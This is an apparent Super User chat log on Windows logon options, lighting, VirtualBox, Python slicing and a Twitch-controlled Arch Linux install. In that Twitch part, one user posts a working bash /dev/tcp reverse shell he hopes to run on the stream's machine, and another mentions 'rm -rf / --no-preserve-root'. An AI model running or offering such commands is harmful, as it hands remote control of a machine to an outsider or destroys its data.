The biggest issue with this username change is thst it detaches me from communities who otherwise know me well, sapping me of my motivation to participate.

I'm not willing to have it changed back just yet, though, due to a lack of legal certainty.

@Psycogeek I found professional fluorescent light bulb for photography that is 5400K, 105W equivalent to 525W. This thing will consume half kilowatt under 1 hour! Do I really need that one powerfull? Is 105W minimum requirement?

Recycle Bin

17:37

oh the /interactive switch does not work anymore

'the request is not supported'

win 10 sucks bro

Bob

I think they removed interavtive altogether for security reasons

pretty sure it's not in 7

Recycle Bin

the whole command is disabled now

Bob

o.O

Recycle Bin

tsdiscon does not work either

Bob

@RecycleBin tenforums.com/tutorials/7394-switch-user-windows-10-a.html

still there in pro

Recycle Bin

17:46

switch user does not allow for SAS but disconnect session does

Bob

I don't know if that was the case in 8

qasdfdsaq

@Boris_yo Ermm, it will consume 0.1 kilowatt-hours per hour

Bob

@RecycleBin SAS?

qasdfdsaq

The wattage isn't what's relevant, the lumens is

Recycle Bin

secure authentication sequence

it opens classic logon where you can switch user, logoff, or change domains

Bob

17:48

dunno. I'm going to sleep.

'night

Recycle Bin

nite

qasdfdsaq

Hey Bob's avatar changed

Bob

@RecycleBin I think you can get that if you lock it

Recycle Bin

nope

hmm windows 7 fails too

but tsdiscon works

Bob

needs pro edition

Recycle Bin

17:51

to go to the welcome screen that is

windows 10 pro and windows 7 ultimate

Bob

odd

above article says tsdiscon works in pro

I don't have a copy of that yet so can't test

Recycle Bin

oh

it does to the splash screen (prior to the welcome screen) but then goes back to the desktop again

ill try adding a password

Bob

@RecycleBin You need to enable the SAS first. Open netplwiz and go to the advanced tab.

It's been disabled by default since Vista

Recycle Bin

oh I mean to go to classic logon

you could hit ctrl alt delete twice before

Bob

shrug I don't have a CAD.

Recycle Bin

17:57

to switch between welcome screen and classic logon

Bob

tablet remember :P

Recycle Bin

can you use a real mouse with a windows tablet

Bob

if I bothered attaching one, yea

Recycle Bin

my dad is thinking of replacing a laptop with a tablet

Bob

@RecycleBin You can enable classic logon with group policy.

Recycle Bin

17:58

Ill take his laptop

that will always be displayed then though

its complicated

Bob

Also, I can say now that enabling SAS through netplwiz will request the sequence even when switching users via the start menu

Recycle Bin

and doing lock, switch user, or tsdiscon brings up a different lock sreen

Bob

@RecycleBin hm. dunno, then

Recycle Bin

this is what youre thinking of encrypted-tbn2.gstatic.com/…

Bob

yea

@RecycleBin Seems like it might've been removed in Win8 winaero.com/blog/…

@RecycleBin eh... you can attach a mouse but it can be a pain to get it to stand up on a desk or sitting in bed

Recycle Bin

18:03

he wants something portable but is tired of laptops

Bob

bluetooth mice are a bit more seamless (no dongle) but also a tad laggier

@RecycleBin could try a lightweight laptop

Recycle Bin

ive reccomended a netbook but no

Bob

@JourneymanGeek has an HP Stream 11 (?)

@RecycleBin there aren't really any modern netbooks as such. Stream is probably the closest :P

you have tablets, convertibles, ultrabooks and standard bulky laptops

Recycle Bin

he isnt even supposed to be using a phone or a computer anyhow

damn idiot

he said he isnt using a computer or phone anymore

im not even gonna help the guy

it looks like windows 7 also cannot do the SAS welcome screen to classic logon

Recycle Bin

18:21

the start menu tiles pane can be disabled if all tiles are removed and the start menu is horizontally resized down

thats cool

cool it lets me change PC settings without having to enter the product key now,

that was random as it wanted the product key before

Recycle Bin

18:46

oh now its saying it again COME ON!

Recycle Bin

19:04

its an easy fix but still sucks

bwDraco

@RecycleBin Looks like registry corruption. Not sure if this would help, but you could try the registry cleaning feature in CCleaner.

It's a long shot, though.

Recycle Bin

its fixed now

going to control panel >display properties fixed it

word

trying to convince my friends to type in a command for me in the twitch arch linux room @ 4 so by popularity it will be ran but they're like "its illegal" and im like "its a virtual machine its for fun"

sucks!

@HackToHell: Yo where are youuuu

Nate Kerkhofs

yay, I managed to get Cortana to work in Belgium

Dave

Awesome

Nate Kerkhofs

@Dave What command do you want to run?

Dave

19:44

exec 5<>/dev/tcp/1166280554/6667;cat <&5 | while read l; do $l 2>&5 >&5; done &

my reverse shell command

which allows me to control the machine

in a background process

Nate Kerkhofs

that would be funny

Dave

yea

i want access to the shell

Nate Kerkhofs

I hope the very first command that gets executed is rm -rf / --no-preserve-root

Several people are already spamming that

Dave

so i can get root / with raw socket capability / then en.wikipedia.org/wiki/TCP_sequence_prediction_attack to give my self moderation status in the chat room

Nate Kerkhofs

Unfortunately, it is impossible to do a fork bomb, because Twitch chat does not allow you to spam symbols in that manner

Dave

19:47

yea.. mines not a fork bomb though ;) mines just a reverse shell

which runs independently in the background (transparently)

bwDraco

Sadly, some ISPs have proven to be very reluctant to deploy IPv6 (I'm looking at you, Verizon Fios). We recently switched to Time Warner Cable and got IPv6 working out of the box (native IPv6 no less), but there's still a lot of inertia from the industry. This is especially serious because we are almost completely out of IPv4 addresses worldwide! — bwDraco 15 mins ago

Nate Kerkhofs

So apparently, I'm going to miss the first few minutes of typing because Moobot in TPAL times you out if you type KappaRoss

Dave

lol

Nate Kerkhofs

And also if you type a bunch of other legit commands

basically, all emotes are banned

which means it's not really a true Twitch experience

Dave

it will be if i can get a reverse shell

lmfao

love how the chat room is full of less experienced people that dont have the greatest knowledge.

Nate Kerkhofs

19:58

My internet is just shot to hell right now, not sure what's up

@Dave Apparently, people think your message is offensive...

Fabby

@Dave Better then the previous one...

@NateKerkhofs Yeah... Invalidated...

Nate Kerkhofs

Not sure how "don't have a clue" is offensive, but sure

Fabby

There are reviewers around! ;-)

(actual humans, or in my case: a Vorlon!)

Vogel612

grrr... chat flags need to show the revision that was flagged...

for the original I might have given a valid...

Nate Kerkhofs

@Vogel612 replace "don't have the greatest knowledge" with "haven't got a clue"

Fabby

20:01

@Vogel612 meh... not in the context it was in!

Dave

yeah, i edited my own chat message ;)

Nate Kerkhofs

And I'm not sure how exactly that can be seen as offensive

Vogel612

@NateKerkhofs actually... there was another word in there...

Fabby

@Dave Next time: do it like it's now!

Vogel612

s/less experienced people/[...]/

Fabby

20:02

or use smileys...

Nate Kerkhofs

Twitch chat is hilarious: we can't even press enter

Vogel612

eh I'm off to doing 10k people things..

Dave

@Fabby: Well i tend to say the meanest things about people sometimes and realize later on that maybe i should word it differently.

Fabby

me too! Be gentle @Dave

Dave

Im terrble at it

Nate Kerkhofs

20:03

I got an excuse for being socially retarded: I got asperger's

And the program crashed already

Dave

8 thousand viewers.. not bad

Nate Kerkhofs

Not much though compared to TPP in the glorydays. I believe they had almost 30K at one poiint

Dave

Never heard of that stream

oh yeah twitch plays pokemon never mind.. Yeah agreed

Q: How can I remove esurf.biz malware from my browsers on windows 8?

Since I can't add an answer to my last question about the esurf.biz malware (because busy body admins decided it was a duplicate of the question: "How do I remove malware in general"), I'm forced to post it again, so I can share my solution with people. In short: how can I remove the godawful pi...

malware

Nate Kerkhofs

Is it me, or is the VM just not responding?

rails_has_elegance

hey guys is there any chat room where i could ask a question regarding a windows8 wifi sharing issue?

or is this the wrong site?

Ramhound

The author has decided to call us "retarded" and "idiots' since he does not agree that his question is a duplicate of the existing question.

What is your question?

rails_has_elegance

i connected to wifi network via a external realtek usb wifi adapter (for better connection) but i cant share the connection through ethernet :/

there is no sharing tab in the wifi adapter configuration

basically im tryin to use my laptop as an access point

Ramhound

@JourneymanGeek - See question about esurf.biz when you get a chance

You have enabled the sharing on the Ethernet adapter correct?

I simply using something like Virtual Router to accomplish this

Dave

20:36

they finally managed to boot the os

Nate Kerkhofs

r/fiftyfifty is so risky, but often rewarding

Dave

this is funny as hell twitch.tv/twitchinstallsarchlinux

first attempt @ a ls command

Nate Kerkhofs

They'll manage. Twitch managed to beat Pokemon faster than me the first time

Well, Dave, I think you won't manage to enter your reverse shell in this manner

Dave

@NateKerkhofs: yeah unless if i have like 30 concurrent chat sessions sending the commands to twitch's chat server and beating everybody's voted single keystrokes

Nate Kerkhofs

@Dave you need to enter the command one letter at a time, I think

Dave

20:42

true :(

Nate Kerkhofs

What does ls do in Arch linux? I'm not familiar with the *nix stack

Dave

list files in the current directory

its equivocal to dir in dos

Nate Kerkhofs

correction: I'm not familiar with most OS CLIs

but I get what you mean

Dave

21:07

lol @stream

Nate Kerkhofs

What are they doing?

creating a new disk partition?

Dave

yeah for the install

now they r going to make a filesystem on it

Nate Kerkhofs

Getting Cortana to work was fun. Only downside is I now need a pin to enter

because I had to configure Windows to use a Microsoft account instead of my normal passwordless Windows account

But hey, at least I CAN use a pin instead of my normal 20 char password

or however many it is

would have been an absolute nightmare to enter that multiple times a day

Leathe

21:42

guys, would you suggest Vmware or Virtualbox for a ubuntu vm? or are there actually any major differences?

Dave

virtualbox we used to use with ubuntu for our dev environment @ my last job. We had 12 developers and were a multi million dollar company

Leathe

apparently virtualbox is also more lightweight than Vmware

I think I'll go for virtualbox

Dave

you want to teeter towards software that's open source with also good support within irc chatroom communities.. therefore virtualbox

you go in the vbox room and theres like 300 people there to instantly answer any questions

irc.freenode.net #vbox

never use software with garbage support. ;)

Leathe

I doubt I'll need too much help with the software itself, though

Dave

well if you get into chef or vagrant then it's good to have people around.

Leathe

21:51

true, but for now I only need a ubuntu VM for a school project :p

bwDraco

I've looked into changing my avatar for a while. Any ideas?

DavidPostill

@bwDraco Something from google.com/…?

Mokubai

22:09

@bwDraco Are you keeping your current name, going back to the old one or choosing something completely different?

bwDraco

The name will stand for the time being.

It may be reverted, pending the resolution of the legal issue.

Mokubai

@bwDraco guilen.deviantart.com/art/Black-dragon-err-tattoo-8574165

Ignore the "legal" issue. It's all hot air and copyright trolls and they don't deserve the air they're breathing let alone the time of day as far as their claim goes.

What do you want? Do you want the old name or what?

Of course as far as legal goes, if you like that image I'd at least ask the guy on DeviantArt if he would mind you using it...

Leathe

oh yay, error after install

>.>

oh no, that's fine ubuntu, just boot up normally after restart and act like nothing happened

Mokubai

Does twitch need the Flash player?

Leathe

I think so

I haven't at least heard of any html5 capabilities

Mokubai

22:25

hmmm. works in IE, but not Firefox. Right-clicking video in IE doesn't bring up the Flash context menu... :/

blog.twitch.tv/2015/07/video-player-controls-now-in-html

Well that's an ugly hack.

HTML5 controls and a crappy flash player behind the scenes...

Leathe

yeap

Mokubai

That's pants on head and pencils up nostrils and saying "wibble" a lot.

Next stop, how to destroy Flash on Windows 10...

@RecycleBin just a polite request, can you use the "upload..." button rather than tinypic?

@Leathe Ah.

Leathe

anyhow

how do I get all index values between index[1] and index[14] for example, in python :I

I'm not sure what exactly I should google to find out the answer to that

DavidPostill

@Leathe I don't know python but maybe thegeekstuff.com/2013/08/python-array has the answer?

Insane

@Leathe niceme.me

Leathe

@DavidPostill not quite what I'm looking for in there

but it could mean it can't be done with the shortcut I have in mind

Mokubai

@Leathe index[1:14]

Iirc

Leathe

23:53

HA

yeah, thanks

that's what I was looking for

Mokubai

You can also do smart things like index[3:] to go from item 3 to the end of the list, and index[-3:] to get the item 3rd from the last to the end

Leathe

yeah, I actually use [1:] now

since it makes the graph look a bit better ;P
